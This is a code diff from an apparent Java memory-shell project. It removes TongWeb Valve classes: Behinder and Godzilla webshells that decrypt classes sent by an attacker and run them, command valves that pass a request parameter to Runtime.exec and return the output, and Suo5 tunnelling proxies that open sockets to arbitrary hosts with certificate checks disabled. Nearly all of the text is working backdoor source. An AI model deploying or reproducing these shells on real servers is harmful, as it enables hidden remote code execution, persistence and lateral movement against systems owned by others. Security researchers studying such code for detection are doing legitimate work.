public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession();
Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request);
obj.put("response", getInternalResponse(response));
obj.put("session", session);
session.setAttribute("u", this.pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
Object instance = (new BehinderValve6(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(obj);
} else {
this.getNext().invoke(request, response);
}
} catch (Exception e) {
e.printStackTrace();
this.getNext().invoke(request, response);
}
}
@Override
public void event(Request var1, Response var2, CometEvent var3) throws IOException, ServletException {
}
public HttpServletResponse getInternalResponse(HttpServletResponse response) {
while (true) {
try {
response = (HttpServletResponse) getFieldValue(response, "response");
} catch (Exception e) {
return response;
}
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
}
@@ -1,133 +0,0 @@
package com.reajason.javaweb.memshell.tongweb.behinder;
import com.tongweb.catalina.Valve;
import com.tongweb.catalina.connector.Request;
import com.tongweb.catalina.connector.Response;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class BehinderValve7 extends ClassLoader implements Valve {
public static String pass;
public static String headerName;
public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
public BehinderValve7() {
}
public BehinderValve7(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception var5) {
}
}
return value;
}
@SuppressWarnings("all")
public Class g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
@SuppressWarnings("all")
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession();
Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request);
obj.put("response", getInternalResponse(response));
obj.put("session", session);
session.setAttribute("u", this.pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
Object instance = (new BehinderValve7(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(obj);
} else {
this.getNext().invoke(request, response);
}
} catch (Exception e) {
e.printStackTrace();
this.getNext().invoke(request, response);
}
}
public HttpServletResponse getInternalResponse(HttpServletResponse response) {
while (true) {
try {
response = (HttpServletResponse) getFieldValue(response, "response");
} catch (Exception e) {
return response;
}
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
}
@@ -1,73 +0,0 @@
package com.reajason.javaweb.memshell.tongweb.command;
import com.tongweb.web.thor.Valve;
import com.tongweb.web.thor.comet.CometEvent;
import com.tongweb.web.thor.connector.Request;
import com.tongweb.web.thor.connector.Response;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import java.io.IOException;
import java.io.InputStream;
/**
* @author ReaJason
*/
public class CommandValve6 implements Valve {
public static String paramName;
protected Valve next;
protected boolean asyncSupported;
public CommandValve6() {
}
@Override
public String getInfo() {
return "";
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
String cmd = request.getParameter(paramName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
} else {
this.getNext().invoke(request, response);
}
} catch (Exception e) {
this.getNext().invoke(request, response);
}
}
@Override
public void event(Request var1, Response var2, CometEvent var3) throws IOException, ServletException {
}
}
@@ -1,62 +0,0 @@
package com.reajason.javaweb.memshell.tongweb.command;
import com.tongweb.catalina.Valve;
import com.tongweb.catalina.connector.Request;
import com.tongweb.catalina.connector.Response;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import java.io.IOException;
import java.io.InputStream;
/**
* @author ReaJason
*/
public class CommandValve7 implements Valve {
public static String paramName;
protected Valve next;
protected boolean asyncSupported;
public CommandValve7() {
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
String cmd = request.getParameter(paramName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
} else {
this.getNext().invoke(request, response);
}
} catch (Exception e) {
this.getNext().invoke(request, response);
}
}
}
@@ -1,147 +0,0 @@
package com.reajason.javaweb.memshell.tongweb.godzilla;
import com.tongweb.web.thor.Valve;
import com.tongweb.web.thor.comet.CometEvent;
import com.tongweb.web.thor.connector.Request;
import com.tongweb.web.thor.connector.Response;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletException;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
/**
* @author ReaJason
*/
public class GodzillaValve6 extends ClassLoader implements Valve {
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
public GodzillaValve6() {
}
public GodzillaValve6(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) {
String value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
} catch (Exception var5) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception var5) {
}
}
return value;
}
@SuppressWarnings("all")
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
@Override
public String getInfo() {
return "";
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
@SuppressWarnings("all")
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession();
byte[] data = base64Decode(request.getParameter(pass));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", (new GodzillaValve6(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class) session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(request);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
response.flushBuffer();
}
} else {
this.getNext().invoke(request, response);
}
} catch (Exception e) {
e.printStackTrace();
this.getNext().invoke(request, response);
}
}
@Override
public void event(Request var1, Response var2, CometEvent var3) throws IOException, ServletException {
}
}
@@ -1,136 +0,0 @@
package com.reajason.javaweb.memshell.tongweb.godzilla;
import com.tongweb.catalina.Valve;
import com.tongweb.catalina.connector.Request;
import com.tongweb.catalina.connector.Response;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletException;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
/**
* @author ReaJason
*/
public class GodzillaValve7 extends ClassLoader implements Valve {
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
public GodzillaValve7() {
}
public GodzillaValve7(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) {
String value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
} catch (Exception var5) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception var5) {
}
}
return value;
}
@SuppressWarnings("all")
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
@SuppressWarnings("all")
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession();
byte[] data = base64Decode(request.getParameter(pass));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", (new GodzillaValve7(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class) session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(request);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
response.flushBuffer();
}
} else {
this.getNext().invoke(request, response);
}
} catch (Exception e) {
e.printStackTrace();
this.getNext().invoke(request, response);
}
}
}
@@ -6,7 +6,10 @@ import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
import java.util.ArrayList;
import java.util.Collection;
import java.util.List;
import java.util.Map;
import java.util.logging.Logger;
import java.util.zip.GZIPInputStream;
@@ -1,606 +0,0 @@
package com.reajason.javaweb.memshell.tongweb.suo5;
import com.tongweb.web.thor.Valve;
import com.tongweb.web.thor.comet.CometEvent;
import com.tongweb.web.thor.connector.Request;
import com.tongweb.web.thor.connector.Response;
import javax.net.ssl.*;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.net.*;
import java.nio.ByteBuffer;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.Enumeration;
import java.util.HashMap;
/**
* @author ReaJason
*/
public class Suo5Valve6 implements Valve, Runnable, HostnameVerifier, X509TrustManager {
public static String headerName;
public static String headerValue;
public static HashMap addrs = collectAddr();
public static HashMap ctx = new HashMap();
InputStream gInStream;
OutputStream gOutStream;
protected Valve next;
protected boolean asyncSupported;
public Suo5Valve6() {
}
public Suo5Valve6(InputStream gInStream, OutputStream gOutStream) {
this.gInStream = gInStream;
this.gOutStream = gOutStream;
}
@Override
public String getInfo() {
return "";
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
public void event(Request var1, Response var2, CometEvent var3) throws IOException, ServletException {
}
@Override
@SuppressWarnings("all")
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
String contentType = request.getContentType();
if (contentType == null) {
this.getNext().invoke(request, response);
return;
}
try {
if (contentType.equals("application/plain")) {
tryFullDuplex(request, response);
this.getNext().invoke(request, response);
return;
}
if (contentType.equals("application/octet-stream")) {
processDataBio(request, response);
} else {
processDataUnary(request, response);
}
} catch (Throwable e) {
// System.out.printf("process data error %s\n", e);
// e.printStackTrace();
}
} else {
this.getNext().invoke(request, response);
}
} catch (Exception e) {
e.printStackTrace();
this.getNext().invoke(request, response);
}
}
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
int bufferOffset = 0;
while (bufferOffset < b.length) {
int readLength = b.length - bufferOffset;
int readResult = is.read(b, bufferOffset, readLength);
if (readResult == -1) break;
bufferOffset += readResult;
}
}
public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
InputStream in = request.getInputStream();
byte[] data = new byte[32];
readFull(in, data);
OutputStream out = response.getOutputStream();
out.write(data);
out.flush();
}
private HashMap newCreate(byte s) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x04});
m.put("s", new byte[]{s});
return m;
}
private HashMap newData(byte[] data) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x01});
m.put("dt", data);
return m;
}
private HashMap newDel() {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x02});
return m;
}
private HashMap newStatus(byte b) {
HashMap m = new HashMap();
m.put("s", new byte[]{b});
return m;
}
byte[] u32toBytes(int i) {
byte[] result = new byte[4];
result[0] = (byte) (i >> 24);
result[1] = (byte) (i >> 16);
result[2] = (byte) (i >> 8);
result[3] = (byte) (i /*>> 0*/);
return result;
}
int bytesToU32(byte[] bytes) {
return ((bytes[0] & 0xFF) << 24) |
((bytes[1] & 0xFF) << 16) |
((bytes[2] & 0xFF) << 8) |
((bytes[3] & 0xFF) << 0);
}
synchronized void put(String k, Object v) {
ctx.put(k, v);
}
synchronized Object get(String k) {
return ctx.get(k);
}
synchronized Object remove(String k) {
return ctx.remove(k);
}
byte[] copyOfRange(byte[] original, int from, int to) {
int newLength = to - from;
if (newLength < 0) {
throw new IllegalArgumentException(from + " > " + to);
}
byte[] copy = new byte[newLength];
int copyLength = Math.min(original.length - from, newLength);
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
// System.arraycopy(original, from, copy, 0, copyLength);
for (int i = 0; i < copyLength; i++) {
copy[i] = original[from + i];
}
return copy;
}
private byte[] marshal(HashMap m) throws IOException {
ByteArrayOutputStream buf = new ByteArrayOutputStream();
Object[] keys = m.keySet().toArray();
for (int i = 0; i < keys.length; i++) {
String key = (String) keys[i];
byte[] value = (byte[]) m.get(key);
buf.write((byte) key.length());
buf.write(key.getBytes());
buf.write(u32toBytes(value.length));
buf.write(value);
}
byte[] data = buf.toByteArray();
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
dbuf.putInt(data.length);
// xor key
byte key = (byte) ((Math.random() * 255) + 1);
dbuf.put(key);
for (int i = 0; i < data.length; i++) {
data[i] = (byte) (data[i] ^ key);
}
dbuf.put(data);
return dbuf.array();
}
private HashMap unmarshal(InputStream in) throws Exception {
byte[] header = new byte[4 + 1]; // size and datatype
readFull(in, header);
// read full
ByteBuffer bb = ByteBuffer.wrap(header);
int len = bb.getInt();
int x = bb.get();
if (len > 1024 * 1024 * 32) {
throw new IOException("invalid len");
}
byte[] bs = new byte[len];
readFull(in, bs);
for (int i = 0; i < bs.length; i++) {
bs[i] = (byte) (bs[i] ^ x);
}
HashMap m = new HashMap();
byte[] buf;
for (int i = 0; i < bs.length - 1; ) {
short kLen = bs[i];
i += 1;
if (i + kLen >= bs.length) {
throw new Exception("key len error");
}
if (kLen < 0) {
throw new Exception("key len error");
}
buf = copyOfRange(bs, i, i + kLen);
String key = new String(buf);
i += kLen;
if (i + 4 >= bs.length) {
throw new Exception("value len error");
}
buf = copyOfRange(bs, i, i + 4);
int vLen = bytesToU32(buf);
i += 4;
if (vLen < 0) {
throw new Exception("value error");
}
if (i + vLen > bs.length) {
throw new Exception("value error");
}
byte[] value = copyOfRange(bs, i, i + vLen);
i += vLen;
m.put(key, value);
}
return m;
}
private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
final InputStream reqInputStream = request.getInputStream();
HashMap dataMap = unmarshal(reqInputStream);
byte[] action = (byte[]) dataMap.get("ac");
if (action.length != 1 || action[0] != 0x00) {
resp.setStatus(403);
return;
}
resp.setBufferSize(512);
final OutputStream respOutStream = resp.getOutputStream();
// 0x00 create socket
resp.setHeader("X-Accel-Buffering", "no");
Socket sc;
try {
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
// Cannot convert Integer to int
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
} catch (Exception e) {
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
final OutputStream scOutStream = sc.getOutputStream();
final InputStream scInStream = sc.getInputStream();
Thread t = null;
try {
Suo5Valve6 p = new Suo5Valve6(scInStream, respOutStream);
t = new Thread(p);
t.start();
readReq(reqInputStream, scOutStream);
} catch (Exception e) {
// System.out.printf("pipe error, %s\n", e);
} finally {
sc.close();
respOutStream.close();
if (t != null) {
t.join();
}
}
}
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
byte[] readBuf = new byte[1024 * 8];
while (true) {
int n = inputStream.read(readBuf);
if (n <= 0) {
break;
}
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
if (needMarshal) {
dataTmp = marshal(newData(dataTmp));
}
outputStream.write(dataTmp);
outputStream.flush();
}
}
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
while (true) {
HashMap dataMap;
dataMap = unmarshal(bufInputStream);
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
return;
}
byte action = actions[0];
if (action == 0x02) {
socketOutStream.close();
return;
} else if (action == 0x01) {
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
socketOutStream.write(data);
socketOutStream.flush();
}
} else if (action == 0x03) {
continue;
} else {
return;
}
}
}
private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
Exception {
InputStream is = request.getInputStream();
BufferedInputStream reader = new BufferedInputStream(is);
HashMap dataMap;
dataMap = unmarshal(reader);
String clientId = new String((byte[]) dataMap.get("id"));
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
resp.setStatus(403);
return;
}
/*
ActionCreate byte = 0x00
ActionData byte = 0x01
ActionDelete byte = 0x02
ActionHeartbeat byte = 0x03
*/
byte action = actions[0];
byte[] redirectData = (byte[]) dataMap.get("r");
boolean needRedirect = redirectData != null && redirectData.length > 0;
String redirectUrl = "";
if (needRedirect) {
dataMap.remove("r");
redirectUrl = new String(redirectData);
needRedirect = !isLocalAddr(redirectUrl);
}
// load balance, send request with data to request url
// action 0x00 need to pipe, see below
if (needRedirect && action >= 0x01 && action <= 0x03) {
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
conn.disconnect();
return;
}
resp.setBufferSize(512);
OutputStream respOutStream = resp.getOutputStream();
if (action == 0x02) {
Object o = this.get(clientId);
if (o == null) return;
OutputStream scOutStream = (OutputStream) o;
scOutStream.close();
return;
} else if (action == 0x01) {
Object o = this.get(clientId);
if (o == null) {
respOutStream.write(marshal(newDel()));
respOutStream.flush();
respOutStream.close();
return;
}
OutputStream scOutStream = (OutputStream) o;
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
scOutStream.write(data);
scOutStream.flush();
}
respOutStream.close();
return;
} else {
}
if (action != 0x00) {
return;
}
// 0x00 create new tunnel
resp.setHeader("X-Accel-Buffering", "no");
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
InputStream readFrom;
Socket sc = null;
HttpURLConnection conn = null;
if (needRedirect) {
// pipe redirect stream and current response body
conn = redirect(request, dataMap, redirectUrl);
readFrom = conn.getInputStream();
} else {
// pipe socket stream and current response body
try {
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
readFrom = sc.getInputStream();
this.put(clientId, sc.getOutputStream());
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
} catch (Exception e) {
// System.out.printf("connect error %s\n", e);
// e.printStackTrace();
this.remove(clientId);
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
}
try {
readSocket(readFrom, respOutStream, !needRedirect);
} catch (Exception e) {
// System.out.println("socket error " + e.toString());
// e.printStackTrace();
} finally {
if (sc != null) {
sc.close();
}
if (conn != null) {
conn.disconnect();
}
respOutStream.close();
this.remove(clientId);
}
}
public void run() {
try {
readSocket(gInStream, gOutStream, true);
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
}
static HashMap collectAddr() {
HashMap addrs = new HashMap();
try {
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
while (nifs.hasMoreElements()) {
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
Enumeration addresses = nif.getInetAddresses();
while (addresses.hasMoreElements()) {
InetAddress addr = (InetAddress) addresses.nextElement();
String s = addr.getHostAddress();
if (s != null) {
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
int ifaceIndex = s.indexOf('%');
if (ifaceIndex != -1) {
s = s.substring(0, ifaceIndex);
}
addrs.put((Object) s, (Object) Boolean.TRUE);
}
}
}
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
return addrs;
}
boolean isLocalAddr(String url) throws Exception {
String ip = (new URL(url)).getHost();
return addrs.containsKey(ip);
}
HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception {
String method = request.getMethod();
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setRequestMethod(method);
try {
// conn.setConnectTimeout(3000);
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
// conn.setReadTimeout(0);
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
} catch (Exception e) {
// java1.4
}
conn.setDoOutput(true);
conn.setDoInput(true);
// ignore ssl verify
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
if (HttpsURLConnection.class.isInstance(conn)) {
((HttpsURLConnection) conn).setHostnameVerifier(this);
SSLContext sslCtx = SSLContext.getInstance("SSL");
sslCtx.init(null, new TrustManager[]{this}, null);
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
}
byte[] newBody = marshal(dataMap);
Enumeration headers = request.getHeaderNames();
while (headers.hasMoreElements()) {
String k = (String) headers.nextElement();
if (k.equals("Content-Length")) {
conn.setRequestProperty(k, String.valueOf(newBody.length));
continue;
} else if (k.equals("Host")) {
conn.setRequestProperty(k, u.getHost());
continue;
} else if (k.equals("Connection")) {
conn.setRequestProperty(k, "close");
continue;
} else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) {
continue;
} else {
conn.setRequestProperty(k, request.getHeader(k));
}
}
OutputStream rout = conn.getOutputStream();
rout.write(newBody);
rout.flush();
rout.close();
conn.getResponseCode();
return conn;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
}
}
@@ -1,595 +0,0 @@
package com.reajason.javaweb.memshell.tongweb.suo5;
import com.tongweb.catalina.Valve;
import com.tongweb.catalina.connector.Request;
import com.tongweb.catalina.connector.Response;
import javax.net.ssl.*;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.net.*;
import java.nio.ByteBuffer;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.Enumeration;
import java.util.HashMap;
/**
* @author ReaJason
*/
public class Suo5Valve7 implements Valve, Runnable, HostnameVerifier, X509TrustManager {
public static String headerName;
public static String headerValue;
public static HashMap addrs = collectAddr();
public static HashMap ctx = new HashMap();
InputStream gInStream;
OutputStream gOutStream;
protected Valve next;
protected boolean asyncSupported;
public Suo5Valve7() {
}
public Suo5Valve7(InputStream gInStream, OutputStream gOutStream) {
this.gInStream = gInStream;
this.gOutStream = gOutStream;
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
@SuppressWarnings("all")
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
String contentType = request.getContentType();
if (contentType == null) {
this.getNext().invoke(request, response);
return;
}
try {
if (contentType.equals("application/plain")) {
tryFullDuplex(request, response);
this.getNext().invoke(request, response);
return;
}
if (contentType.equals("application/octet-stream")) {
processDataBio(request, response);
} else {
processDataUnary(request, response);
}
} catch (Throwable e) {
// System.out.printf("process data error %s\n", e);
// e.printStackTrace();
}
} else {
this.getNext().invoke(request, response);
}
} catch (Exception e) {
e.printStackTrace();
this.getNext().invoke(request, response);
}
}
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
int bufferOffset = 0;
while (bufferOffset < b.length) {
int readLength = b.length - bufferOffset;
int readResult = is.read(b, bufferOffset, readLength);
if (readResult == -1) break;
bufferOffset += readResult;
}
}
public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
InputStream in = request.getInputStream();
byte[] data = new byte[32];
readFull(in, data);
OutputStream out = response.getOutputStream();
out.write(data);
out.flush();
}
private HashMap newCreate(byte s) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x04});
m.put("s", new byte[]{s});
return m;
}
private HashMap newData(byte[] data) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x01});
m.put("dt", data);
return m;
}
private HashMap newDel() {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x02});
return m;
}
